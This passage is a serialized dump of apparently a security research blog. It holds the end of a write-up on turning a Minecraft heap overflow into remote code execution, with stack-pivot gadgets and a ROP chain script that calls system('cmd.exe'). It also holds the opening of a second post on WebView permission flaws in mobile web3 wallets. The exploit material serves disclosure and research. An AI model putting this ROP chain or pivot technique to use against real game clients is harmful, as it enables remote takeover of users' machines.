",{"type":25,"tag":115,"props":156843,"children":156845},{"className":156844},[],[156846],{"type":31,"value":156847},"mov rsp, rax; ret",{"type":31,"value":156849},"-style gadget.",{"type":25,"tag":34,"props":156851,"children":156852},{},[156853,156855,156860,156862,156867],{"type":31,"value":156854},"Although we discovered that ",{"type":25,"tag":115,"props":156856,"children":156858},{"className":156857},[],[156859],{"type":31,"value":156689},{"type":31,"value":156861}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":25,"tag":115,"props":156863,"children":156865},{"className":156864},[],[156866],{"type":31,"value":156665},{"type":31,"value":156868}," callbacks.",{"type":25,"tag":20392,"props":156870,"children":156872},{"id":156871},"stack-pivot",[156873],{"type":31,"value":156874},"Stack Pivot",{"type":25,"tag":34,"props":156876,"children":156877},{},[156878,156880,156885,156887,156892,156894,156899,156901,156907],{"type":31,"value":156879},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":25,"tag":115,"props":156881,"children":156883},{"className":156882},[],[156884],{"type":31,"value":156493},{"type":31,"value":156886},", overwrite ",{"type":25,"tag":115,"props":156888,"children":156890},{"className":156889},[],[156891],{"type":31,"value":156731},{"type":31,"value":156893}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":25,"tag":115,"props":156895,"children":156897},{"className":156896},[],[156898],{"type":31,"value":156689},{"type":31,"value":156900},". This ultimately calls ",{"type":25,"tag":115,"props":156902,"children":156904},{"className":156903},[],[156905],{"type":31,"value":156906},"default_ec_key_meth->init",{"type":31,"value":156908},", which executes the pivot and begins ROP execution.",{"type":25,"tag":34,"props":156910,"children":156911},{},[156912,156914,156920,156922,156928],{"type":31,"value":156913},"We chose to overwrite the ",{"type":25,"tag":115,"props":156915,"children":156917},{"className":156916},[],[156918],{"type":31,"value":156919},"OPENSSL_free",{"type":31,"value":156921}," callback. This produces only a minor memory leak, while overwriting ",{"type":25,"tag":115,"props":156923,"children":156925},{"className":156924},[],[156926],{"type":31,"value":156927},"OPENSSL_malloc",{"type":31,"value":156929}," would require our replacement function to return a writable, unused memory region.",{"type":25,"tag":34,"props":156931,"children":156932},{},[156933,156935,156941,156942,156948,156950,156955],{"type":31,"value":156934},"For the stack pivot, we found two useful gadgets: ",{"type":25,"tag":115,"props":156936,"children":156938},{"className":156937},[],[156939],{"type":31,"value":156940},"add rsp, 0x10; pop r14; ret",{"type":31,"value":12493},{"type":25,"tag":115,"props":156943,"children":156945},{"className":156944},[],[156946],{"type":31,"value":156947},"xchg rsp, rax; ret",{"type":31,"value":156949},". The exploit writes them into ",{"type":25,"tag":115,"props":156951,"children":156953},{"className":156952},[],[156954],{"type":31,"value":156493},{"type":31,"value":156956}," like this:",{"type":25,"tag":191,"props":156958,"children":156960},{"code":156959},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[156961],{"type":25,"tag":115,"props":156962,"children":156963},{"__ignoreMap":7},[156964],{"type":31,"value":156959},{"type":25,"tag":34,"props":156966,"children":156967},{},[156968,156970,156975,156977,156982,156984,156989,156991,156996,156998,157003,157005,157010,157012,157017],{"type":31,"value":156969},"The second gadget, ",{"type":25,"tag":115,"props":156971,"children":156973},{"className":156972},[],[156974],{"type":31,"value":156947},{"type":31,"value":156976},", is placed in the slot corresponding to the ",{"type":25,"tag":115,"props":156978,"children":156980},{"className":156979},[],[156981],{"type":31,"value":22236},{"type":31,"value":156983}," function pointer. As mentioned earlier, when ",{"type":25,"tag":115,"props":156985,"children":156987},{"className":156986},[],[156988],{"type":31,"value":156746},{"type":31,"value":156990}," is called, ",{"type":25,"tag":115,"props":156992,"children":156994},{"className":156993},[],[156995],{"type":31,"value":57853},{"type":31,"value":156997}," contains a pointer to ",{"type":25,"tag":115,"props":156999,"children":157001},{"className":157000},[],[157002],{"type":31,"value":156731},{"type":31,"value":157004}," - which we have overwritten and now points to our ",{"type":25,"tag":115,"props":157006,"children":157008},{"className":157007},[],[157009],{"type":31,"value":156940},{"type":31,"value":157011}," gadget in ",{"type":25,"tag":115,"props":157013,"children":157015},{"className":157014},[],[157016],{"type":31,"value":156493},{"type":31,"value":80},{"type":25,"tag":34,"props":157019,"children":157020},{},[157021,157023,157029,157031,157036,157038,157044,157046,157051,157053,157058,157060,157065,157067,157072,157074,157079,157081,157086],{"type":31,"value":157022},"When the call occurs, ",{"type":25,"tag":115,"props":157024,"children":157026},{"className":157025},[],[157027],{"type":31,"value":157028},"xchg rsp, rax",{"type":31,"value":157030}," swaps the stack pointer with this controlled pointer inside ",{"type":25,"tag":115,"props":157032,"children":157034},{"className":157033},[],[157035],{"type":31,"value":156493},{"type":31,"value":157037},", effectively moving ",{"type":25,"tag":115,"props":157039,"children":157041},{"className":157040},[],[157042],{"type":31,"value":157043},"rsp",{"type":31,"value":157045}," into our ROP region. After the ",{"type":25,"tag":115,"props":157047,"children":157049},{"className":157048},[],[157050],{"type":31,"value":12491},{"type":31,"value":157052},", execution continues at ",{"type":25,"tag":115,"props":157054,"children":157056},{"className":157055},[],[157057],{"type":31,"value":156940},{"type":31,"value":157059},", which advances ",{"type":25,"tag":115,"props":157061,"children":157063},{"className":157062},[],[157064],{"type":31,"value":157043},{"type":31,"value":157066}," by ",{"type":25,"tag":115,"props":157068,"children":157070},{"className":157069},[],[157071],{"type":31,"value":45609},{"type":31,"value":157073}," bytes, skipping over the padding and the ",{"type":25,"tag":115,"props":157075,"children":157077},{"className":157076},[],[157078],{"type":31,"value":156947},{"type":31,"value":157080}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":25,"tag":115,"props":157082,"children":157084},{"className":157083},[],[157085],{"type":31,"value":156947},{"type":31,"value":157087},") begins executing.",{"type":25,"tag":40,"props":157089,"children":157091},{"id":157090},"rop-chain",[157092],{"type":31,"value":157093},"ROP Chain",{"type":25,"tag":34,"props":157095,"children":157096},{},[157097,157099,157105,157107,157112],{"type":31,"value":157098},"For the demo, the ROP chain simply calls ",{"type":25,"tag":115,"props":157100,"children":157102},{"className":157101},[],[157103],{"type":31,"value":157104},"system(\"cmd.exe\")",{"type":31,"value":157106},". Because Minecraft does not use ",{"type":25,"tag":115,"props":157108,"children":157110},{"className":157109},[],[157111],{"type":31,"value":132836},{"type":31,"value":157113},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":25,"tag":34,"props":157115,"children":157116},{},[157117,157119,157125,157127,157133,157135,157140,157142,157148,157150,157155],{"type":31,"value":157118},"This is straightforward: the chain first calls ",{"type":25,"tag":115,"props":157120,"children":157122},{"className":157121},[],[157123],{"type":31,"value":157124},"GetModuleHandle(\"ucrtbase.dll\")",{"type":31,"value":157126}," to obtain the base address of ",{"type":25,"tag":115,"props":157128,"children":157130},{"className":157129},[],[157131],{"type":31,"value":157132},"ucrtbase.dll",{"type":31,"value":157134}," (which exports ",{"type":25,"tag":115,"props":157136,"children":157138},{"className":157137},[],[157139],{"type":31,"value":132836},{"type":31,"value":157141},"). It then calls ",{"type":25,"tag":115,"props":157143,"children":157145},{"className":157144},[],[157146],{"type":31,"value":157147},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":31,"value":157149}," to retrieve the function’s address. Finally, it invokes ",{"type":25,"tag":115,"props":157151,"children":157153},{"className":157152},[],[157154],{"type":31,"value":132836},{"type":31,"value":157156}," with the \"cmd.exe\" string.",{"type":25,"tag":34,"props":157158,"children":157159},{},[157160],{"type":31,"value":157161},"In the exploit script, the ROP chain looks something like this:",{"type":25,"tag":191,"props":157163,"children":157165},{"code":157164,"language":20959,"meta":7,"className":20960,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[157166],{"type":25,"tag":115,"props":157167,"children":157168},{"__ignoreMap":7},[157169,157177,157185,157210,157218,157226,157233,157241,157249,157276,157289,157302,157323,157352,157381,157388,157396,157409,157417,157453,157461,157468,157476,157483,157508,157519,157531],{"type":25,"tag":201,"props":157170,"children":157171},{"class":203,"line":204},[157172],{"type":25,"tag":201,"props":157173,"children":157174},{"style":4497},[157175],{"type":31,"value":157176},"# get the address of `GetModuleHandle` to `rax`\n",{"type":25,"tag":201,"props":157178,"children":157179},{"class":203,"line":226},[157180],{"type":25,"tag":201,"props":157181,"children":157182},{"style":220},[157183],{"type":31,"value":157184},"rop.gadget(pop_r8)\n",{"type":25,"tag":201,"props":157186,"children":157187},{"class":203,"line":278},[157188,157193,157197,157202,157206],{"type":25,"tag":201,"props":157189,"children":157190},{"style":220},[157191],{"type":31,"value":157192},"rop.gadget(addr_get_module_handle_a ",{"type":25,"tag":201,"props":157194,"children":157195},{"style":261},[157196],{"type":31,"value":5832},{"type":25,"tag":201,"props":157198,"children":157199},{"style":208},[157200],{"type":31,"value":157201}," 0x",{"type":25,"tag":201,"props":157203,"children":157204},{"style":426},[157205],{"type":31,"value":135953},{"type":25,"tag":201,"props":157207,"children":157208},{"style":220},[157209],{"type":31,"value":4666},{"type":25,"tag":201,"props":157211,"children":157212},{"class":203,"line":311},[157213],{"type":25,"tag":201,"props":157214,"children":157215},{"style":4497},[157216],{"type":31,"value":157217},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":25,"tag":201,"props":157219,"children":157220},{"class":203,"line":330},[157221],{"type":25,"tag":201,"props":157222,"children":157223},{"style":220},[157224],{"type":31,"value":157225},"rop.gadget(mov_rax_r8_28)\n",{"type":25,"tag":201,"props":157227,"children":157228},{"class":203,"line":397},[157229],{"type":25,"tag":201,"props":157230,"children":157231},{"emptyLinePlaceholder":17},[157232],{"type":31,"value":496},{"type":25,"tag":201,"props":157234,"children":157235},{"class":203,"line":437},[157236],{"type":25,"tag":201,"props":157237,"children":157238},{"style":4497},[157239],{"type":31,"value":157240},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":25,"tag":201,"props":157242,"children":157243},{"class":203,"line":464},[157244],{"type":25,"tag":201,"props":157245,"children":157246},{"style":220},[157247],{"type":31,"value":157248},"rop.gadget(pop_rcx)\n",{"type":25,"tag":201,"props":157250,"children":157251},{"class":203,"line":490},[157252,157257,157262,157267,157271],{"type":25,"tag":201,"props":157253,"children":157254},{"style":220},[157255],{"type":31,"value":157256},"rop.gadget(",{"type":25,"tag":201,"props":157258,"children":157259},{"style":208},[157260],{"type":31,"value":157261},"0x",{"type":25,"tag":201,"props":157263,"children":157264},{"style":426},[157265],{"type":31,"value":157266},"7468B68",{"type":25,"tag":201,"props":157268,"children":157269},{"style":220},[157270],{"type":31,"value":385},{"type":25,"tag":201,"props":157272,"children":157273},{"style":4497},[157274],{"type":31,"value":157275},"# offset of \"ucrtbase.dll\" string\n",{"type":25,"tag":201,"props":157277,"children":157278},{"class":203,"line":499},[157279,157284],{"type":25,"tag":201,"props":157280,"children":157281},{"style":220},[157282],{"type":31,"value":157283},"rop.gadget(ret) ",{"type":25,"tag":201,"props":157285,"children":157286},{"style":4497},[157287],{"type":31,"value":157288},"# movaps alignment\n",{"type":25,"tag":201,"props":157290,"children":157291},{"class":203,"line":522},[157292,157297],{"type":25,"tag":201,"props":157293,"children":157294},{"style":220},[157295],{"type":31,"value":157296},"rop.gadget(push_rax_ret) ",{"type":25,"tag":201,"props":157298,"children":157299},{"style":4497},[157300],{"type":31,"value":157301},"# calls `GetModuleHandle`\n",{"type":25,"tag":201,"props":157303,"children":157304},{"class":203,"line":531},[157305,157310,157314,157319],{"type":25,"tag":201,"props":157306,"children":157307},{"style":220},[157308],{"type":31,"value":157309},"rop.literal(u64(",{"type":25,"tag":201,"props":157311,"children":157312},{"style":208},[157313],{"type":31,"value":4729},{"type":25,"tag":201,"props":157315,"children":157316},{"style":267},[157317],{"type":31,"value":157318},"\"ucrtbase\"",{"type":25,"tag":201,"props":157320,"children":157321},{"style":220},[157322],{"type":31,"value":1086},{"type":25,"tag":201,"props":157324,"children":157325},{"class":203,"line":550},[157326,157330,157334,157339,157344,157348],{"type":25,"tag":201,"props":157327,"children":157328},{"style":220},[157329],{"type":31,"value":157309},{"type":25,"tag":201,"props":157331,"children":157332},{"style":208},[157333],{"type":31,"value":4729},{"type":25,"tag":201,"props":157335,"children":157336},{"style":267},[157337],{"type":31,"value":157338},"\".dll",{"type":25,"tag":201,"props":157340,"children":157341},{"style":49450},[157342],{"type":31,"value":157343},"\\x00\\x00\\x00\\x00",{"type":25,"tag":201,"props":157345,"children":157346},{"style":267},[157347],{"type":31,"value":1557},{"type":25,"tag":201,"props":157349,"children":157350},{"style":220},[157351],{"type":31,"value":1086},{"type":25,"tag":201,"props":157353,"children":157354},{"class":203,"line":563},[157355,157359,157363,157368,157373,157377],{"type":25,"tag":201,"props":157356,"children":157357},{"style":220},[157358],{"type":31,"value":157309},{"type":25,"tag":201,"props":157360,"children":157361},{"style":208},[157362],{"type":31,"value":4729},{"type":25,"tag":201,"props":157364,"children":157365},{"style":267},[157366],{"type":31,"value":157367},"\"system",{"type":25,"tag":201,"props":157369,"children":157370},{"style":49450},[157371],{"type":31,"value":157372},"\\x00\\x00",{"type":25,"tag":201,"props":157374,"children":157375},{"style":267},[157376],{"type":31,"value":1557},{"type":25,"tag":201,"props":157378,"children":157379},{"style":220},[157380],{"type":31,"value":1086},{"type":25,"tag":201,"props":157382,"children":157383},{"class":203,"line":572},[157384],{"type":25,"tag":201,"props":157385,"children":157386},{"emptyLinePlaceholder":17},[157387],{"type":31,"value":496},{"type":25,"tag":201,"props":157389,"children":157390},{"class":203,"line":590},[157391],{"type":25,"tag":201,"props":157392,"children":157393},{"style":4497},[157394],{"type":31,"value":157395},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":25,"tag":201,"props":157397,"children":157398},{"class":203,"line":608},[157399,157404],{"type":25,"tag":201,"props":157400,"children":157401},{"style":220},[157402],{"type":31,"value":157403},"rop.gadget(xchg_rcx_rax) ",{"type":25,"tag":201,"props":157405,"children":157406},{"style":4497},[157407],{"type":31,"value":157408},"# move the return value of `GetModuleHandle` to rcx\n",{"type":25,"tag":201,"props":157410,"children":157411},{"class":203,"line":617},[157412],{"type":25,"tag":201,"props":157413,"children":157414},{"style":220},[157415],{"type":31,"value":157416},"rop.gadget(pop_rdx)\n",{"type":25,"tag":201,"props":157418,"children":157419},{"class":203,"line":625},[157420,157424,157428,157432,157436,157440,157444,157448],{"type":25,"tag":201,"props":157421,"children":157422},{"style":220},[157423],{"type":31,"value":157256},{"type":25,"tag":201,"props":157425,"children":157426},{"style":208},[157427],{"type":31,"value":157261},{"type":25,"tag":201,"props":157429,"children":157430},{"style":426},[157431],{"type":31,"value":157266},{"type":25,"tag":201,"props":157433,"children":157434},{"style":261},[157435],{"type":31,"value":10412},{"type":25,"tag":201,"props":157437,"children":157438},{"style":208},[157439],{"type":31,"value":157201},{"type":25,"tag":201,"props":157441,"children":157442},{"style":426},[157443],{"type":31,"value":90337},{"type":25,"tag":201,"props":157445,"children":157446},{"style":220},[157447],{"type":31,"value":385},{"type":25,"tag":201,"props":157449,"children":157450},{"style":4497},[157451],{"type":31,"value":157452},"# offset of \"system\" string\n",{"type":25,"tag":201,"props":157454,"children":157455},{"class":203,"line":642},[157456],{"type":25,"tag":201,"props":157457,"children":157458},{"style":220},[157459],{"type":31,"value":157460},"rop.gadget(get_proc_addr)\n",{"type":25,"tag":201,"props":157462,"children":157463},{"class":203,"line":659},[157464],{"type":25,"tag":201,"props":157465,"children":157466},{"emptyLinePlaceholder":17},[157467],{"type":31,"value":496},{"type":25,"tag":201,"props":157469,"children":157470},{"class":203,"line":667},[157471],{"type":25,"tag":201,"props":157472,"children":157473},{"style":4497},[157474],{"type":31,"value":157475},"# call `system(\"cmd.exe\")`\n",{"type":25,"tag":201,"props":157477,"children":157478},{"class":203,"line":676},[157479],{"type":25,"tag":201,"props":157480,"children":157481},{"style":220},[157482],{"type":31,"value":157248},{"type":25,"tag":201,"props":157484,"children":157485},{"class":203,"line":694},[157486,157490,157494,157499,157503],{"type":25,"tag":201,"props":157487,"children":157488},{"style":220},[157489],{"type":31,"value":157256},{"type":25,"tag":201,"props":157491,"children":157492},{"style":208},[157493],{"type":31,"value":157261},{"type":25,"tag":201,"props":157495,"children":157496},{"style":426},[157497],{"type":31,"value":157498},"7468DB8",{"type":25,"tag":201,"props":157500,"children":157501},{"style":220},[157502],{"type":31,"value":385},{"type":25,"tag":201,"props":157504,"children":157505},{"style":4497},[157506],{"type":31,"value":157507},"# offset of \"cmd.exe\" string\n",{"type":25,"tag":201,"props":157509,"children":157510},{"class":203,"line":707},[157511,157515],{"type":25,"tag":201,"props":157512,"children":157513},{"style":220},[157514],{"type":31,"value":157283},{"type":25,"tag":201,"props":157516,"children":157517},{"style":4497},[157518],{"type":31,"value":157288},{"type":25,"tag":201,"props":157520,"children":157521},{"class":203,"line":715},[157522,157526],{"type":25,"tag":201,"props":157523,"children":157524},{"style":220},[157525],{"type":31,"value":157296},{"type":25,"tag":201,"props":157527,"children":157528},{"style":4497},[157529],{"type":31,"value":157530},"# calls `system`\n",{"type":25,"tag":201,"props":157532,"children":157533},{"class":203,"line":732},[157534,157538,157542,157547,157552,157556],{"type":25,"tag":201,"props":157535,"children":157536},{"style":220},[157537],{"type":31,"value":157309},{"type":25,"tag":201,"props":157539,"children":157540},{"style":208},[157541],{"type":31,"value":4729},{"type":25,"tag":201,"props":157543,"children":157544},{"style":267},[157545],{"type":31,"value":157546},"\"cmd.exe",{"type":25,"tag":201,"props":157548,"children":157549},{"style":49450},[157550],{"type":31,"value":157551},"\\x00",{"type":25,"tag":201,"props":157553,"children":157554},{"style":267},[157555],{"type":31,"value":1557},{"type":25,"tag":201,"props":157557,"children":157558},{"style":220},[157559],{"type":31,"value":1086},{"type":25,"tag":40,"props":157561,"children":157563},{"id":157562},"demo",[157564],{"type":31,"value":157565},"Demo",{"type":25,"tag":34,"props":157567,"children":157568},{},[157569],{"type":31,"value":157570},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":25,"tag":132942,"props":157572,"children":157575},{"className":157573,"controls":17},[142909,157574],"blog-video-wide",[157576,157577,157581],{"type":31,"value":142912},{"type":25,"tag":142148,"props":157578,"children":157580},{"src":157579,"type":132940},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":31,"value":142918},{"type":25,"tag":26,"props":157583,"children":157584},{"id":4323},[157585],{"type":31,"value":4326},{"type":25,"tag":34,"props":157587,"children":157588},{},[157589],{"type":31,"value":157590},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":25,"tag":34,"props":157592,"children":157593},{},[157594],{"type":31,"value":157595},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":25,"tag":34,"props":157597,"children":157598},{},[157599],{"type":31,"value":157600},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":25,"tag":4349,"props":157602,"children":157603},{},[157604],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":157606},[157607,157611,157616,157627],{"id":148267,"depth":226,"text":148270,"children":157608},[157609,157610],{"id":148302,"depth":278,"text":148305},{"id":148318,"depth":278,"text":148321},{"id":148339,"depth":226,"text":148342,"children":157612},[157613,157614,157615],{"id":148355,"depth":278,"text":148358},{"id":148443,"depth":278,"text":148446},{"id":150743,"depth":278,"text":150746},{"id":6926,"depth":226,"text":6929,"children":157617},[157618,157619,157620,157621,157622,157623,157624,157625,157626],{"id":150850,"depth":278,"text":150853},{"id":150875,"depth":278,"text":150878},{"id":151012,"depth":278,"text":151015},{"id":153176,"depth":278,"text":153179},{"id":153538,"depth":278,"text":153541},{"id":154358,"depth":278,"text":154361},{"id":156472,"depth":278,"text":156475},{"id":157090,"depth":278,"text":157093},{"id":157562,"depth":278,"text":157565},{"id":4323,"depth":226,"text":4326},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":157632,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":157633,"description":157634,"date":157635,"author":157636,"image":157638,"isFeatured":17,"onBlogPage":17,"tags":157640,"body":157642,"_type":4371,"_id":159965,"_source":4373,"_file":159966,"_stem":159967,"_extension":4376},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[12,11,157637],"nikolaos",{"src":157639,"width":98352,"height":15},"/posts/insecure-webview-integrations/title.png",[1045,133048,157641],"webview",{"type":22,"children":157643,"toc":159952},[157644,157649,157654,157660,157665,157670,157675,157681,157686,157692,157714,157727,157747,157761,157767,157781,157789,157794,157800,157805,157814,157835,157979,157984,157990,157995,158000,158014,158018,158023,158041,159469,159473,159478,159490,159499,159504,159510,159532,159540,159545,159551,159556,159574,159579,159585,159598,159880,159908,159921,159926,159939,159943,159948],{"type":25,"tag":34,"props":157645,"children":157646},{},[157647],{"type":31,"value":157648},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":25,"tag":34,"props":157650,"children":157651},{},[157652],{"type":31,"value":157653},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":25,"tag":4321,"props":157655,"children":157657},{"id":157656},"exploiting-mobile-webviews",[157658],{"type":31,"value":157659},"Exploiting Mobile WebViews",{"type":25,"tag":34,"props":157661,"children":157662},{},[157663],{"type":31,"value":157664},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":25,"tag":34,"props":157666,"children":157667},{},[157668],{"type":31,"value":157669},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":25,"tag":34,"props":157671,"children":157672},{},[157673],{"type":31,"value":157674},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":25,"tag":26,"props":157676,"children":157678},{"id":157677},"handling-webview-permissions",[157679],{"type":31,"value":157680},"Handling WebView permissions",{"type":25,"tag":34,"props":157682,"children":157683},{},[157684],{"type":31,"value":157685},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":25,"tag":40,"props":157687,"children":157689},{"id":157688},"android",[157690],{"type":31,"value":157691},"Android",{"type":25,"tag":34,"props":157693,"children":157694},{},[157695,157697,157704,157706,157712],{"type":31,"value":157696},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":25,"tag":71,"props":157698,"children":157701},{"href":157699,"rel":157700},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[75],[157702],{"type":31,"value":157703},"onPermissionRequest",{"type":31,"value":157705},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":25,"tag":115,"props":157707,"children":157709},{"className":157708},[],[157710],{"type":31,"value":157711},"PermissionRequest",{"type":31,"value":157713}," object where the WebView developers must decide whether to grant or deny it.",{"type":25,"tag":4439,"props":157715,"children":157716},{},[157717],{"type":25,"tag":34,"props":157718,"children":157719},{},[157720,157722,157725],{"type":31,"value":157721},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":25,"tag":201,"props":157723,"children":157724},{},[],{"type":31,"value":157726},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":25,"tag":34,"props":157728,"children":157729},{},[157730,157732,157738,157740,157746],{"type":31,"value":157731},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":25,"tag":115,"props":157733,"children":157735},{"className":157734},[],[157736],{"type":31,"value":157737},"getOrigin()",{"type":31,"value":157739}," and the requested permissions with ",{"type":25,"tag":115,"props":157741,"children":157743},{"className":157742},[],[157744],{"type":31,"value":157745},"getResources()",{"type":31,"value":80},{"type":25,"tag":34,"props":157748,"children":157749},{},[157750,157752,157759],{"type":31,"value":157751},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":25,"tag":71,"props":157753,"children":157756},{"href":157754,"rel":157755},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[75],[157757],{"type":31,"value":157758},"webview_shell",{"type":31,"value":157760},". In this instance, no origin checks are performed.",{"type":25,"tag":40,"props":157762,"children":157764},{"id":157763},"ios",[157765],{"type":31,"value":157766},"iOS",{"type":25,"tag":34,"props":157768,"children":157769},{},[157770,157772,157779],{"type":31,"value":157771},"On the contrary, iOS ",{"type":25,"tag":71,"props":157773,"children":157776},{"href":157774,"rel":157775},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[75],[157777],{"type":31,"value":157778},"documentation",{"type":31,"value":157780}," states that:",{"type":25,"tag":4439,"props":157782,"children":157783},{},[157784],{"type":25,"tag":34,"props":157785,"children":157786},{},[157787],{"type":31,"value":157788},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":25,"tag":34,"props":157790,"children":157791},{},[157792],{"type":31,"value":157793},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":25,"tag":26,"props":157795,"children":157797},{"id":157796},"the-shortcomings-of-webview-implementations",[157798],{"type":31,"value":157799},"The shortcomings of WebView implementations",{"type":25,"tag":34,"props":157801,"children":157802},{},[157803],{"type":31,"value":157804},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":25,"tag":175,"props":157806,"children":157807},{"style":177},[157808],{"type":25,"tag":127,"props":157809,"children":157813},{"src":157810,"alt":157811,"style":157812},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":25,"tag":34,"props":157815,"children":157816},{},[157817,157819,157825,157827,157833],{"type":31,"value":157818},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":25,"tag":115,"props":157820,"children":157822},{"className":157821},[],[157823],{"type":31,"value":157824},"react-native-webview",{"type":31,"value":157826},". If we take a look at how they handle a request that reaches the ",{"type":25,"tag":71,"props":157828,"children":157831},{"href":157829,"rel":157830},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[75],[157832],{"type":31,"value":157703},{"type":31,"value":157834}," method, we see a similar pattern.",{"type":25,"tag":191,"props":157836,"children":157840},{"className":157837,"code":157838,"language":157839,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[157841],{"type":25,"tag":115,"props":157842,"children":157843},{"__ignoreMap":7},[157844,157852,157881,157941,157961,157972],{"type":25,"tag":201,"props":157845,"children":157846},{"class":203,"line":204},[157847],{"type":25,"tag":201,"props":157848,"children":157849},{"style":4497},[157850],{"type":31,"value":157851},"// If all the permissions are already granted, send the response to the WebView 